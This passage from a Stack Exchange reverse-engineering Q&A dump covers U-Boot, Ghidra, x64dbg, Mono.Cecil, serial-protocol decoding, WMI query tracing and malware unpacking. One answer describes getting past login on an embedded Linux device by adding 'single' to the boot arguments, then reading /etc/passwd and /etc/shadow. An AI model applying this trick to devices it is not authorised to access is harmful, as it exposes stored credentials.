spi-nor|normal|usb|sata|ecspi1:0|ecspi1:1|ecspi1:2|ecspi1:3|esdhc1|esdhc2|esdhc3|esdhc4 [noreset]\nbmp     - manipulate BMP image data\nboot    - boot default, i.e., run 'bootcmd'\nbootd   - boot default, i.e., run 'bootcmd'\nbootefi - Boots an EFI payload from memory\n\nbootm   - boot application image from memory\nbootp   - boot image via network using BOOTP/TFTP protocol\nbootz   - boot Linux zImage image from memory\nclocks  - display clocks\ncmp     - memory compare\nconinfo - print console devices and information\ncp      - memory copy\ncrc32   - checksum calculation\ndhcp    - boot image via network using DHCP/TFTP protocol\ndm      - Driver model low level access\ndns     - lookup the IP of a hostname\necho    - echo args to console\neditenv - edit environment variable\nenv     - environment handling commands\nexit    - exit script\next2load- load binary file from a Ext2 filesystem\next2ls  - list files in a directory (default /)\next4load- load binary file from a Ext4 filesystem\next4ls  - list files in a directory (default /)\next4size- determine a file's size\next4write- create a file in the root directory\nfalse   - do nothing, unsuccessfully\nfatinfo - print information about filesystem\nfatload - load binary file from a dos filesystem\nfatls   - list files in a directory (default /)\nfatsize - determine a file's size\nfdt     - flattened device tree utility commands\nfstype  - Look up a filesystem type\nfuse    - Fuse sub-system\ngo      - start application at address 'addr'\ngpio    - query and control gpio pins\ngrepenv - search environment variables\nhelp    - print command description/usage\niminfo  - print header information for application image\nimxtract- extract a part of a multi-image\nitest   - return true/false on integer compare\nload    - load binary file from a filesystem\nloadb   - load binary file over serial line (kermit mode)\nloads   - load S-Record file over serial line\nloadx   - load binary file over serial line (xmodem mode)\nloady   - load binary file over serial line (ymodem mode)\nloop    - infinite loop on address range\nls      - list files in a directory (default /)\nmd      - memory display\nmdio    - MDIO utility commands\nmeminfo - display memory information\nmii     - MII utility commands\nmm      - memory modify (auto-incrementing address)\nmmc     - MMC sub system\nmmcinfo - display MMC info\nmtest   - simple RAM read/write test\nmw      - memory write (fill)\nnfs     - boot image via network using NFS protocol\nnm      - memory modify (constant address)\nping    - send ICMP ECHO_REQUEST to network host\nprintenv- print environment variables\nreset   - Perform RESET of the CPU\nrun     - run commands in an environment variable\nsave    - save file to a filesystem\nsaveenv - save environment variables to persistent storage\nsetenv  - set environment variables\nsetexpr - set environment variable as the result of eval expression\nshowvar - print local hushshell variables\nsize    - determine a file's size\nsleep   - delay execution for some time\nsource  - run script from memory\ntest    - minimal test like /bin/sh\ntftpboot- boot image via network using TFTP protocol\ntrue    - do nothing, successfully\nums     - Use the UMS [USB Mass Storage]\nusb     - USB sub-system\nusbboot - boot from USB device\nversion - print monitor, compiler and linker version\n</code></pre>\n",
        "Title": "How to get root access on Linux embedded system?",
        "Tags": "|dump|",
        "Answer": "<p>I managed to read /etc/passwd and /etc/shadow after adding &quot;single&quot; to command line parameters.</p>\n<p>However, I've read that the &quot;bootargs&quot; environment variable stored the parameters, but modifying it (with setenv) didn't changed anything.</p>\n<p>So after more careful reading of environment variabes, I've seen that I add to create a new variable called &quot;extrabootargs&quot; to add my parameters.</p>\n<p>Thanks.</p>\n"
    },
    {
        "Id": "27937",
        "CreationDate": "2021-07-03T12:22:08.447",
        "Body": "<p>I tried to use a <strong>PDB</strong> file to map the Instructions to the Sequencepoints in Mono.Cecil and find out the line number of a method. But none of the answers in any forum seems to work, because no matter what I try the <strong>SymbolsNotMatchingException</strong> is thrown with the error message</p>\n<blockquote>\n<p>Symbols were found but are not matching the assembly&quot;.</p>\n</blockquote>\n<p>By the way, my target &quot;application&quot; is a Unity Game.</p>\n<p>Here is some code I use (side note: ProjectPath is the path to my target <code>*.dll</code>):</p>\n<pre><code>var resolver = new DefaultAssemblyResolver();\nresolver.AddSearchDirectory(GetDLLsFolderToResolve(ProjectPath));\n\nusing var assembly = AssemblyDefinition.ReadAssembly(ProjectPath,\n                new ReaderParameters { ReadWrite = true, AssemblyResolver = resolver, \n                    SymbolReaderProvider = new PdbReaderProvider(), ReadSymbols = true });\n</code></pre>\n<p>I have already the <code>Mono.Cecil.dll</code> and <code>Mono.Cecil.Pdb.dll</code> in the same folder due to import Mono.Cecil via NuGet. Also, the target DLL and the PDB also are in the same folder.</p>\n<p>Does anybody have a working example? Or any idea how this error could be solved? Would be happy for any help.</p>\n",
        "Title": "Mono.Cecil throws SymbolsNotMatchingException, how to find out Method line number?",
        "Tags": "|debugging|debuggers|c#|exception|pdb|",
        "Answer": "<p>So all the steps above are correct the way they were described. The only thing I have done wrong was, that my target <strong>DLL</strong> was modified by Mono.Cecil before (I already had read and wrote my target <strong>DLL</strong> and modified it by this way). So the <strong>DLL</strong> and the <strong>PDB</strong> was not the same anymore.</p>\n<p>So if you want to run Mono.Cecil just once and you get the exception above do the following things:</p>\n<ol>\n<li>Build your target application again (which should have all the DLL's and the corresponding PDB's for each DLL)</li>\n<li>Add <code>ReadSymbols = true</code> to the ReadParameters (in my case I don't\nwant to write, so I need only the ReadParameters)</li>\n<li>Run your Mono.Cecil application</li>\n</ol>\n<p>Note: This is only a solution if you want to run Mono.Cecil once. If you want to run it again over your target <strong>DLL</strong>, you have to make all steps above again.</p>\n<p>Hopefully this will help someone!</p>\n<p>~Sulan</p>\n"
    },
    {
        "Id": "27938",
        "CreationDate": "2021-07-03T16:24:56.497",
        "Body": "<p>I'm attempting to figure out the structure of a &quot;God object&quot;.</p>\n<p>I found where it's being initialized, but I've never seen <code>calloc</code> used like this before:</p>\n<pre><code>god = (God *)calloc(1,(size_t)&amp;god_size_marker?);\n__aeabi_memclr8(god,&amp;god_size_marker?);\n</code></pre>\n<p>Where <code>God</code> is the structure that I'm currently attempting to figure out, and <code>god_size_marker?</code> is the name I gave to the pointer location.</p>\n<p>The bizarre thing is, it's passing a <em>pointer</em> to the second argument of <code>calloc</code>. If I have Ghidra follow <code>god_size_marker?</code>, I see:</p>\n<pre><code>                     god_size_marker?                                XREF[2]:     create_instance:0005b0ac(*), \n                                                                                  create_instance:0005b0c8(*)  \n00700438 7d              db         7Dh\n</code></pre>\n<p>So the address is 0x700438. If I manually set the structure to have a size of <code>0x700438</code>, that appears to fix the issue in <a href=\"https://reverseengineering.stackexchange.com/questions/27932/improving-ghidras-auto-structure-creator\">my last question</a>, but that's ridiculous. What significance could a pointer into the <code>.rodata</code> section possibly have? This also apparently has the bizarre consequence of some field offsets in the struct coinciding with global variable addresses:</p>\n<pre><code>puVar4 = (uint *)&amp;DAT_007003e8;  // These lines are right beside each other. Note the names.\nbVar20 = first_counter &lt;= *(uint *)&amp;god-&gt;field_0x7003e8;\n</code></pre>\n<p>Is it actually reasonable that they've initialized a struct's size using a pointer? To me, that suggests that Ghidra is misinterpreting something, and that there's something that I need to fix. I wouldn't even know where to start though from this behavior alone.</p>\n<p>For reference, here is the relevant disassembly of the calls to <code>calloc</code> and <code>__aebi_memclr8</code>:</p>\n<pre><code>    0005b0ac 05 f1 70 01     add.w      r1=&gt;god_size_marker?,r5,#0x70                    = 7Dh\n    0005b0b0 93 46           mov        r11,r2\n    0005b0b2 00 68           ldr        r0,[r0,#0x0]=&gt;-&gt;__stack_chk_guard                = 01dbe014\n    0005b0b4 4f f0 01 0a     mov.w      r10,#0x1\n    0005b0b8 00 68           ldr        r0,[r0,#0x0]=&gt;__stack_chk_guard                  = ??\n    0005b0ba 19 90           str        r0,[sp,#local_3c]\n    0005b0bc 01 20           movs       r0,#0x1\n    0005b0be f8 f7 2c ec     blx        &lt;EXTERNAL&gt;::calloc                               void * calloc(size_t __nmemb, si...\n    0005b0c2 40 f2 38 41     movw       r1,#0x438\n    0005b0c6 04 46           mov        r4,god\n    0005b0c8 c0 f2 70 01     movt       r1=&gt;god_size_marker?,#0x70                       = 7Dh\n    0005b0cc f8 f7 ee eb     blx        &lt;EXTERNAL&gt;::__aeabi_memclr8                      undefined __aeabi_memclr8()\n</code></pre>\n<p>Unfortunately, while I can read x86 assembly, my knowledge of ARM is fairly limited. Any insight as to what might be going on here would be appreciated.</p>\n",
        "Title": "Ghidra showing pointer being given as size argument of calloc",
        "Tags": "|arm|ghidra|",
        "Answer": "<pre><code>0005b0c2 40 f2 38 41     movw       r1,#0x438\n0005b0c6 04 46           mov        r4,god\n0005b0c8 c0 f2 70 01     movt       r1=&gt;god_size_marker?,#0x70 \n</code></pre>\n<p>The <code>movw</code> and <code>movt</code> together will set <code>r1</code> to 0x700438 (0x70&lt;&lt;16 + 0x438) so this is the amount being cleared and likely the amount being allocated. It seems that Ghidra  replaces it by the address expression just because there happens to be a variable at that address. You'll probably have to contact Ghidra support to figure out if there's a way to treat it as a number instead of address.</p>\n"
    },
    {
        "Id": "27941",
        "CreationDate": "2021-07-04T12:37:29.090",
        "Body": "<p>In the x64dbg manual is many <a href=\"https://help.x64dbg.com/en/latest/commands/script/index.html\" rel=\"nofollow noreferrer\">scripting commands</a> and other things, but nowhere in it is mentioned, how to launch a script.</p>\n<p>So, my question is: <em>How to launch a script in x64dbg?</em></p>\n",
        "Title": "How to run a script in x64dbg",
        "Tags": "|x64dbg|",
        "Answer": "<p>To launch a script, it has to be first <em>loaded</em> into x64dbg \u2014 <em>then</em> you will see it in the <em>Script</em> tab:<br />\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<a href=\"https://i.stack.imgur.com/udatq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/udatq.png\" alt=\"enter image description here\" /></a></p>\n<p>Before loading a script, the content of this tab is empty:</p>\n<p><a href=\"https://i.stack.imgur.com/6nAte.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6nAte.png\" alt=\"enter image description here\" /></a></p>\n<p>You may load a script in any of the following ways:</p>\n<ol>\n<li><p>Copy the <em>content</em> of your script into clipboard, then switch to the <em>Script</em> tab, and paste it with<br />\n<kbd>Shift</kbd>+<kbd>V</kbd> (NOT with <kbd>Ctrl</kbd>+<kbd>V</kbd>).</p>\n</li>\n<li><p>The same, but using the context menu (<em>Load Script \u2192 Paste</em>):</p>\n<p><a href=\"https://i.stack.imgur.com/hRTr5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hRTr5.png\" alt=\"enter image description here\" /></a></p>\n</li>\n<li><p>Switch to the <code>Script</code> tab, <kbd>Ctrl</kbd>+<kbd>O</kbd>, then select your script file.</p>\n</li>\n<li><p>The same, but using the context menu (<em>Load Script \u2192 Open...</em>) \u2014 as in the point 2.</p>\n</li>\n<li><p>Use the <code>scriptload</code> command with the path to your script file as an argument, for example</p>\n<pre><code>scriptload &quot;c:\\Users\\User\\My Scripts\\somescript.txt&quot;\n</code></pre>\n<p>Write it in the <em>Command:</em> box near the bottom left part of the x64dbg window and then press <kbd>Enter</kbd>:</p>\n<p><a href=\"https://i.stack.imgur.com/IREgM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IREgM.png\" alt=\"enter image description here\" /></a></p>\n</li>\n</ol>\n<p>After loading the script (with any of the previous methods), you will see it in the <em>Script</em> tab, and you may launch it with the <kbd>Space bar</kbd>, or by commands in the context menu:</p>\n<p><a href=\"https://i.stack.imgur.com/vaD6X.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vaD6X.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "27961",
        "CreationDate": "2021-07-06T19:44:52.173",
        "Body": "<p>I'm working with an old irrigation controller that is connected to a PC via the DB9 serial port.\nI was able to capture that data (tapped into the appropriate TX wire) on a separate laptop, but now I'm stuck translating it into meaningful information.</p>\n<p>When idle, the controller continuously broadcasts the line current to the PC and because variable data stands out among static values, this seemed like a logical place to start deciphering the data. Below is an excerpt of the serial data while the system is idle:</p>\n<pre><code>ff 3a 30 32 34 49 30 30 38 34 3b 30 30 30 30 0d 0a\nff 3a 30 32 34 49 30 30 38 36 3b 30 30 30 30 0d 0a\nff 3a 30 32 34 49 30 30 38 35 3b 30 30 30 30 0d 0a\nff 3a 30 32 34 49 30 30 38 34 3b 30 30 30 30 0d 0a\nff 3a 30 32 34 49 30 30 37 45 3b 30 30 30 30 0d 0a\nff 3a 30 32 34 49 30 30 37 43 3b 30 30 30 30 0d 0a\nff 3a 30 32 34 49 30 30 37 43 3b 30 30 30 30 0d 0a\n</code></pre>\n<p>The bytes that I suspect of carrying the line current information are indicated with <code>__</code> below, as all of the other bytes remain static when system is idle:</p>\n<pre><code>ff 3a 30 32 34 49 30 30 __ __ 3b 30 30 30 30 0d 0a\n</code></pre>\n<p>There is a test cycle that can be run to check current before, during, and after activation of a particular sprinkler head. Here is an excerpt of that:</p>\n<pre><code>ff 3a 30 32 34 49 30 30 38 31 3b 30 30 30 30 0d 0a  (system idle, typical current ~130 mA)\nff 3a 30 34                                  0d 0a  (system wait)\nff 3a 30 32 34 49 30 30 38 36 3b 30 30 30 30 0d 0a  (system active, typical current ~550 mA)\nff 3a 30 34                                  0d 0a  (system wait)\nff 3a 30 32 34 49 30 30 38 35 3b 30 30 30 30 0d 0a  (system idle, typical current ~210 mA)\n</code></pre>\n<p>There are two pairs of wires leaving the controller, but I suspect the controller reports the total combined current rather than reporting them separately.</p>\n<p>Current values approximately 130 mA while idle, and around 550 mA while active, but I'm struggling to find a way to translate &quot;38 34&quot;, &quot;37 45&quot; etc. into meaningful values.</p>\n<p>This is my first foray into this sort of puzzle, so any related advice/tips/suggestions for deciphering serial data would be welcome.</p>\n<p><em><strong>Edit:</strong></em>\nOmitting the leading &quot;ff&quot;, below is the appearance in ASCII form.</p>\n<p><em>idle state:</em></p>\n<pre><code>:024I007D;0000\n:024I0082;0000\n:024I0080;0000\n:024I0084;0000\n:024I0086;0000\n:024I0082;0000\n:024I0081;0000\n:024I0080;0000\n:024I0082;0000\n:024I0086;0000\n:024I0084;0000\n:024I007E;0000\n:024I007E;0000\n:024I0080;0000\n:024I0081;0000\n:024I0080;0000\n:024I007E;0000\n:024I0081;0000\n:024I0085;0000\n:024I0085;0000\n:024I0086;0000\n:024I0081;0000\n</code></pre>\n<p><em>running:</em></p>\n<pre><code>:024I0081;0000  (system idle)\n:04             (system wait)\n:024I0086;0000  (system running) \n:04             (system wait)\n:024I0085;0000  (system idle)\n:04\n:04\n:04\n:024I0080;0000\n:04\n:024I0081;0000\n:04\n:024I007E;0000\n</code></pre>\n",
        "Title": "Strategies for Deciphering RS-232 Data",
        "Tags": "|hex|serial-communication|hexadecimal|",
        "Answer": "<p>So I managed to work it out... most importantly I needed to view it in ASCII as suggested in the comments.</p>\n<p>Turns out the samples I shared didn't contain examples of the 500+ mA readings like I expected after all.</p>\n<p>At any rate, it turns out that given the format....</p>\n<pre><code>:024IXXXX;YYYY\n</code></pre>\n<p>... then XXXX converted from hex to decimal + YYYY converted from hex to decimal = current displayed by software.</p>\n"
    },
    {
        "Id": "27965",
        "CreationDate": "2021-07-07T17:14:18.843",
        "Body": "<p>I want to implement WMI query detection function using apimon plugin in sandbox <a href=\"https://github.com/tklengyel/drakvuf\" rel=\"nofollow noreferrer\">https://github.com/tklengyel/drakvuf</a></p>\n<p>To do it,I have to get the DLL symbol file.\nBut I can't locate the <code>IWbemServices::ExecQuery</code> method in any DLL.</p>\n<p>Is there any idea to detect wmi query string like <code>select * from win32_operatingsystem</code>\nonly using API monitoring?</p>\n",
        "Title": "Want to use win API hooking to detect wmi query string? But can't find IWbemServices::ExecQuery in fastprox.dll",
        "Tags": "|windows|malware|",
        "Answer": "<p>I am Not sure what you are looking for\nif you execute in say wmic</p>\n<pre><code>C:\\WINDOWS\\system32&gt;wmic os get Name\n</code></pre>\n<p>you get back</p>\n<pre><code>Name\nMicrosoft Windows 10 Pro|C:\\WINDOWS|\\Device\\Harddisk0\\Partition4\n</code></pre>\n<p>this is executed with your select *from sql or wql query<br />\nhere is a call stack and relevent info</p>\n<p>broken at</p>\n<pre><code>0:000&gt; rM0\nWMIC!CExecEngine::ProcessSHOWInfo:\n00007ff7`a6fc5590 4053            push    rbx\n</code></pre>\n<p>call stack</p>\n<pre><code>0:000&gt; kP\nChild-SP          RetAddr           Call Site\n0000008c`90c9f6a8 00007ff7`a6fc2ffe WMIC!CExecEngine::ProcessSHOWInfo\n0000008c`90c9f6b0 00007ff7`a6fe9141 WMIC!CExecEngine::ExecuteCommand+0x1ae\n0000008c`90c9f750 00007ff7`a6fe8060 WMIC!CWMICommandLine::ProcessCommandAndDisplayResults+0x5f5\n0000008c`90c9f910 00007ff7`a6feee6d WMIC!wmain+0x934\n0000008c`90c9fb20 00007ff8`96f07c24 WMIC!__wmainCRTStartup+0x14d\n0000008c`90c9fb60 00007ff8`986cd721 KERNEL32!BaseThreadInitThunk+0x14\n0000008c`90c9fb90 00000000`00000000 ntdll!RtlUserThreadStart+0x21\n</code></pre>\n<p>script dumping arg1@rcx *rcx **rcx,arg2 @rdx....,arg3@r8....,arg4@r9...</p>\n<pre><code>0:000&gt; $$&gt;a&lt; &quot;xxxxx\\arg64.wds&quot;\nrcx=00007ff7a70198e0\n=========       @rcx\n00007ff7`a70198e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n00007ff7`a70198f0  e0 2d 88 07 f5 01 00 00-00 00 00 00 00 00 00 00  .-..............\n=========       *@rcx\n00000000`00000000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????\n00000000`00000010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????\nrdx=00007ff7a70199e8\n=========       @rdx\n00007ff7`a70199e8  c0 e4 a8 07 f5 01 00 00-60 e5 a8 07 f5 01 00 00  ........`.......\n00007ff7`a70199f8  20 01 73 09 f5 01 00 00-00 00 00 00 00 00 00 00   .s.............\n=========       *@rdx\n000001f5`07a8e4c0  20 00 6f 00 73 00 20 00-67 00 65 00 74 00 20 00   .o.s. .g.e.t. .\n000001f5`07a8e4d0  4e 00 61 00 6d 00 65 00-00 00 ab ab ab ab ab ab  N.a.m.e.........\nr8=0000000000000001\n=========       @r8\n00000000`00000001  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????\n00000000`00000011  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????\n=========       *@r8\nMemory access error at ') '\nr9=0000000000000000\n=========       @r9\n00000000`00000000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????\n00000000`00000010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????\n=========       *@r9\nMemory access error at ') '\n</code></pre>\n<p>the second argument contins your sql/ wql query</p>\n<pre><code>0:000&gt; dpu @rdx\n00007ff7`a70199e8  000001f5`07a8e4c0 &quot; os get Name&quot;\n00007ff7`a70199f0  000001f5`07a8e560 &quot;os&quot;\n00007ff7`a70199f8  000001f5`09730120 &quot;Installed Operating System/s management. &quot;\n00007ff7`a7019a00  00000000`00000000\n00007ff7`a7019a08  00000000`00000000\n00007ff7`a7019a10  00000000`00000000\n00007ff7`a7019a18  000001f5`097300d0 &quot;get&quot;\n00007ff7`a7019a20  00000000`00000000\n00007ff7`a7019a28  00000000`00000000\n00007ff7`a7019a30  00000000`00000000\n00007ff7`a7019a38  00000000`00000000\n00007ff7`a7019a40  000001f5`07a8ee00 &quot;Select * from Win32_OperatingSystem&quot;\n00007ff7`a7019a48  00000000`00000000\n00007ff7`a7019a50  00000000`00000001\n00007ff7`a7019a58  000001f5`07a81770 &quot;\u1770.\u01f5&quot;\n00007ff7`a7019a60  00000000`00000000\n0:000&gt;  \n</code></pre>\n<p>if you follow further you can see instead of wildcard a specific attribute is queried</p>\n<pre><code>0:000&gt; rM0\nWMIC!CExecEngine::ObtainXMLResultSet:\n00007ff7`a6fc3030 4c8bdc          mov     r11,rsp\n0:000&gt; r rcx,rdx,r8,r9\nrcx=00007ff7a70198e0 rdx=00000204437822d8 r8=00007ff7a70199e8 r9=0000003789d3b5b8\n0:000&gt; du /c 100 @rdx\n00000204`437822d8  &quot;SELECT Name FROM Win32_OperatingSystem&quot;\n0:000&gt;  \n</code></pre>\n<p><a href=\"https://docs.microsoft.com/en-us/windows/win32/wmisdk/example--getting-wmi-data-from-the-local-computer\" rel=\"nofollow noreferrer\">there is a documented example to retrieve data from wmi methods here</a></p>\n<p>compiling it and tracing it you can see the method being resolved in fastprox.dll as below</p>\n<pre><code>0:000&gt; dps @rax+0xa0 l1\n00007ff8`855846b0  00007ff8`854ec8f0 fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery\n0:000&gt; r\nrax=00007ff885584610 rbx=00007ff669e67bc8 rcx=00000160178261a0\nrdx=00000160178122b8 rsi=0000000000000000 rdi=00000160177e65e0\nrip=00007ff669da1638 rsp=00000050a376faf0 rbp=0000000000000000\n r8=000001601781fb08  r9=0000000000000030 r10=00000050a376fa20\nr11=00000160178122b8 r12=0000000000000000 r13=0000000000000000\nr14=0000000000000000 r15=0000000000000000\niopl=0         nv up ei pl nz na po nc\ncs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206\nwbemexec!main+0x448:\n00007ff6`69da1638 ff90a0000000    call    qword ptr [rax+0A0h] ds:00007ff8`855846b0={fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery (00007ff8`854ec8f0)}\n0:000&gt; ?? @rax == @@masm(poi(@rcx))\nbool true\n0:000&gt; du @rdx\n00000160`178122b8  &quot;WQL&quot;\n0:000&gt; du @r8\n00000160`1781fb08  &quot;SELECT * FROM Win32_OperatingSys&quot;\n00000160`1781fb48  &quot;tem&quot;\n0:000&gt;  \n</code></pre>\n<p>here is the same fastprox::..::execquery being called from wmic command prior to editing of the answer</p>\n<pre><code>0:000&gt; rM0\nfastprox!CWbemSvcWrapper::XWbemServices::ExecQuery:\n00007ff8`854ec8f0 4c8bdc          mov     r11,rsp\n0:000&gt; kp\nChild-SP          RetAddr           Call Site\n00000017`37abb518 00007ff7`ce3931c5 fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery\n00000017`37abb520 00007ff7`ce395e3d WMIC!CExecEngine::ObtainXMLResultSet+0x195\n00000017`37abb760 00007ff7`ce392ffe WMIC!CExecEngine::ProcessSHOWInfo+0x8ad\n00000017`37abf960 00007ff7`ce3b9141 WMIC!CExecEngine::ExecuteCommand+0x1ae\n00000017`37abfa00 00007ff7`ce3b8060 WMIC!CWMICommandLine::ProcessCommandAndDisplayResults+0x5f5\n00000017`37abfbc0 00007ff7`ce3bee6d WMIC!wmain+0x934\n00000017`37abfdd0 00007ff8`96f07c24 WMIC!__wmainCRTStartup+0x14d\n00000017`37abfe10 00007ff8`986cd721 KERNEL32!BaseThreadInitThunk+0x14\n00000017`37abfe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21\n0:000&gt; du @rdx; du /c 100 @r8\n00000209`96d22868  &quot;WQL&quot;\n00000209`96d76d38  &quot;SELECT Name FROM Win32_OperatingSystem&quot;\n0:000&gt; dps poi(@rcx)+a0 l1\n00007ff8`855846b0  00007ff8`854ec8f0 fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery\n0:000&gt;  \n</code></pre>\n"
    },
    {
        "Id": "27966",
        "CreationDate": "2021-07-07T17:24:28.580",
        "Body": "<p>In part 3 of lena RE tutorial, i see a word : imagebase</p>\n<p>Can anyone tell me more about this and better meaning of this word?</p>\n<p><a href=\"https://i.stack.imgur.com/iKJkD.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iKJkD.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "What is imagebase word means used in Lena151 RE tutorial?",
        "Tags": "|pe|",
        "Answer": "<p>From <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format\" rel=\"nofollow noreferrer\">Microsoft docs</a>:</p>\n<blockquote>\n<p>The preferred address of the first byte of image when loaded into memory [...] The default for DLLs is 0x10000000.\n[...] The default for Windows NT, Windows 2000, Windows XP, Windows 95, Windows 98, and Windows Me is 0x00400000</p>\n</blockquote>\n<p>So, in case of exe, you can usually expect that it will be loaded at <code>0x400000</code> address and when you load the dll, it is loaded at <code>0x10000000</code> by default. All these values correspond only to particular process' virtual memory.</p>\n<p>PE files may have different image bases than the default ones. So if a dll has <code>ImageBase = 0x20000000</code>, you can expect it to be loaded at this address instead. Note however, that it is only the <em>preferred</em> address - it may be changed if, for example, second dll that is loaded into the same process already occupies this space.</p>\n<p>If you have any more doubts regarding PE format, you can either follow the docs linked above or slightly more compact description <a href=\"https://www.aldeid.com/wiki/PE-Portable-executable\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "27970",
        "CreationDate": "2021-07-08T10:16:30.570",
        "Body": "<p>I asked a lot of questions in this forum about RE and I am a beginner who is very interested in reverse engineering. (i am learning the RE with Lena151)</p>\n<ol>\n<li>What is unpack?</li>\n<li>Which tools need to unpack a software?</li>\n<li>Is there anyway for manual unpack?</li>\n<li>How to unpack software that used unknown packer?</li>\n<li>Is there any tutorial that learn unpacking 0-100?</li>\n<li>How-to Go From Zero to Hero in Unpacking?</li>\n</ol>\n<p>I want to know more about unpacking, all the things that make me a professional.</p>\n",
        "Title": "What is unpack? how to become professional Unpacker?",
        "Tags": "|unpacking|",
        "Answer": "<p>That's a set of very wide questions ...</p>\n<p>I'll try to answer as good as I can, but you are asking for something that is so broad, I'm afraid that I can't answer everything.</p>\n<ol>\n<li>\n<blockquote>\n<p>What is unpacking?</p>\n</blockquote>\n</li>\n</ol>\n<p>Unpacking is the action of removing the protections layers used by malware in order to reach its core payload. When a malware is packed, everything looks scrambles and messy, and you can't really see (from a static point of view) what the payload is doing. Try to see it like an &quot;armor&quot; around the malware, only here to slow down your analysis (and mess with AV product performing static detection). If you find a sample that is packed, you generally don't have any clue on what is the malware inside this 'protection' nor what it's doing, unless you unpack it.</p>\n<ol start=\"2\">\n<li>\n<blockquote>\n<p>Which tools need to unpack a software?</p>\n</blockquote>\n</li>\n</ol>\n<p>A simple debugger can help you unpack the majority of packers. Sometime you'll also find automated unpacker scripts for well-known packers (standalone or compatible with your debugger or even static unpacker). Sometimes the packer is open-source, and contains unpacking capabilities. You also have some online services that are able to unpack stuff for you (Thinking about unpac[.]me).</p>\n<ol start=\"3\">\n<li>\n<blockquote>\n<p>Is there anyway for manual unpack?</p>\n</blockquote>\n</li>\n</ol>\n<p>Yes. The rule is simple: if the malware is running (meaning that it is able to unpack itself at runtime and execute it's core payload), you will always have the ability to trace everything and examine its behavior. What is important is not 'can I do it manually' \u2014 the answer will only be 'yes', but 'how much time can I spend on this?' or 'is the complexity level worth my time?'.</p>\n<ol start=\"4\">\n<li>\n<blockquote>\n<p>How to unpack software that used unknown packer?</p>\n</blockquote>\n</li>\n</ol>\n<p>After a bit of experience, you'll find that common packers are designed in the same way, and are using the same techniques. You'll always find a new clever technique from time to time, but the philosophy behind it will stay the same. If you are stuck on an unknown packer, you can try to find which packer does this look's like, and where are the differences. And remember, if it runs, you can always dump the unpacked process :) You don't have to manually unpack everything.</p>\n<ol start=\"5\">\n<li>\n<blockquote>\n<p>Is there any tutorial that learn unpacking 0-100?</p>\n</blockquote>\n</li>\n</ol>\n<p>No, it would be too easy. But you can find some tutorial on how to unpack X sample. Try to reproduce them. My personal advice would be to learn how to unpack something protected with a specific packer by following along with a write-up, then search another malware that is using the same packer, and do it alone. Then repeat with another packer. After some time, you'll see that it's almost every time the same thing.</p>\n<ol start=\"6\">\n<li>\n<blockquote>\n<p>How-to Go From Zero to Hero in Unpacking?</p>\n</blockquote>\n</li>\n</ol>\n<p>Practice. Practice again and again. Start with an easy packer (open-source ones or widely used) and slowly increase the level. If you are stuck, search for some write-ups. If you are really stuck, search for something easier. You'll come back to it later.</p>\n<p>Unpacking can be a bit frustrating and time-consuming at first, but eventually it will become almost automatic for you. You just have to try again and again. It's OK if you start with basic packed malware. It will help you to build an understanding on how it works. Then the slight variations from the standard unpacking process will become obvious.</p>\n<p>Some resources:</p>\n<ul>\n<li><a href=\"https://www.unpac.me/#/\" rel=\"nofollow noreferrer\">https://www.unpac.me/#/</a> (automated unpacking servcie)</li>\n<li><a href=\"https://forum.tuts4you.com/files/category/67-unpacking/\" rel=\"nofollow noreferrer\">https://forum.tuts4you.com/files/category/67-unpacking/</a> (tutorials)</li>\n<li><a href=\"https://github.com/ProIntegritate/Malware-unpacking\" rel=\"nofollow noreferrer\">https://github.com/ProIntegritate/Malware-unpacking</a> (repo with exercices)</li>\n<li><a href=\"https://www.youtube.com/watch?v=KvOpNznu_3w&amp;list=PL3CZ2aaB7m83eYTAVV2knNglB8I4y5QmH\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=KvOpNznu_3w&amp;list=PL3CZ2aaB7m83eYTAVV2knNglB8I4y5QmH</a> (hasherezade unpacking tutorial playlist)</li>\n<li><a href=\"https://www.youtube.com/c/OALabs/videos\" rel=\"nofollow noreferrer\">https://www.youtube.com/c/OALabs/videos</a> (OAlabs youtube channel)</li>\n<li><a href=\"https://repo.zenk-security.com/Reversing%20.%20cracking/The%20Art%20of%20Unpacking.pdf\" rel=\"nofollow noreferrer\">https://repo.zenk-security.com/Reversing%20.%20cracking/The%20Art%20of%20Unpacking.pdf</a> (The Art of Unpacking - some techniques and tricks)</li>\n</ul>\n"
    },
    {
        "Id": "27974",
        "CreationDate": "2021-07-09T20:21:48.613",
